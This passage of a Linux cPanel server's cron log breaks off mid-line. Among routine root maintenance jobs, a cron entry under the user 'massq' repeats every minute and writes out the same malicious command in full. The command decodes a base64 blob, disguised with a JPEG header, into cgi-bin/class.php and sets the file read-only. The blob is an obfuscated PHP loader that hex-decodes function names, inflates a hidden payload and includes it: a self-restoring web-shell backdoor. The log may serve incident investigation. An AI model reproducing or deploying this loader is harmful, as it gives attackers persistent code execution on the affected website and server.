Sep 10 03:59:01 server CROND[5012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 03:59:01 server CROND[5011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 03:59:02 server run-parts(/etc/cron.daily)[5042]: finished imunify-antivirus.cron
Sep 10 03:59:02 server run-parts(/etc/cron.daily)[28931]: starting logclean
Sep 10 03:59:02 server run-parts(/etc/cron.daily)[5054]: finished logclean
Sep 10 03:59:02 server run-parts(/etc/cron.daily)[28931]: starting logrotate
Sep 10 03:59:03 server run-parts(/etc/cron.daily)[5067]: finished logrotate
Sep 10 03:59:03 server run-parts(/etc/cron.daily)[28931]: starting maldet
Sep 10 03:59:15 server run-parts(/etc/cron.daily)[6941]: finished maldet
Sep 10 03:59:15 server run-parts(/etc/cron.daily)[28931]: starting man-db.cron
Sep 10 03:59:15 server run-parts(/etc/cron.daily)[7020]: finished man-db.cron
Sep 10 03:59:15 server anacron[8073]: Job `cron.daily' terminated
Sep 10 03:59:15 server anacron[8073]: Normal exit (1 job run)
Sep 10 04:00:01 server CROND[8080]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:00:01 server CROND[8082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:00:01 server CROND[8084]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:00:01 server CROND[8090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:00:01 server CROND[8091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:00:01 server CROND[8097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:00:01 server CROND[8094]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 04:00:01 server CROND[8092]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 04:00:01 server CROND[8095]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:00:01 server CROND[8096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:01:01 server CROND[8997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:01:01 server CROND[8999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:01:01 server CROND[8998]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 04:01:01 server CROND[9000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:01:01 server run-parts(/etc/cron.hourly)[8998]: starting 0anacron
Sep 10 04:01:01 server run-parts(/etc/cron.hourly)[9018]: finished 0anacron
Sep 10 04:02:01 server CROND[9395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:02:01 server CROND[9396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:02:01 server CROND[9397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:03:01 server CROND[9881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:03:01 server CROND[9883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:03:01 server CROND[9886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:04:01 server CROND[10327]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:04:01 server CROND[10328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:04:01 server CROND[10329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:05:01 server CROND[10708]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:05:01 server CROND[10709]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 04:05:01 server CROND[10719]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 04:05:01 server CROND[10718]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:05:01 server CROND[10725]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 04:05:01 server CROND[10722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:05:01 server CROND[10724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:05:01 server CROND[10723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:06:01 server CROND[11539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:06:01 server CROND[11540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:06:01 server CROND[11546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:07:01 server CROND[11966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:07:01 server CROND[11967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:07:01 server CROND[11968]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:08:01 server CROND[12455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:08:01 server CROND[12454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:08:01 server CROND[12456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:09:01 server CROND[12823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 04:09:01 server CROND[12826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 04:09:01 server CROND[12825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 04:09:01 server CROND[12824]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 04:10:02 server CROND[13205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 04:10:02 server CROND[13207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 04:10:02 server CROND[13208]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 04:10:02 server CROND[13209]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 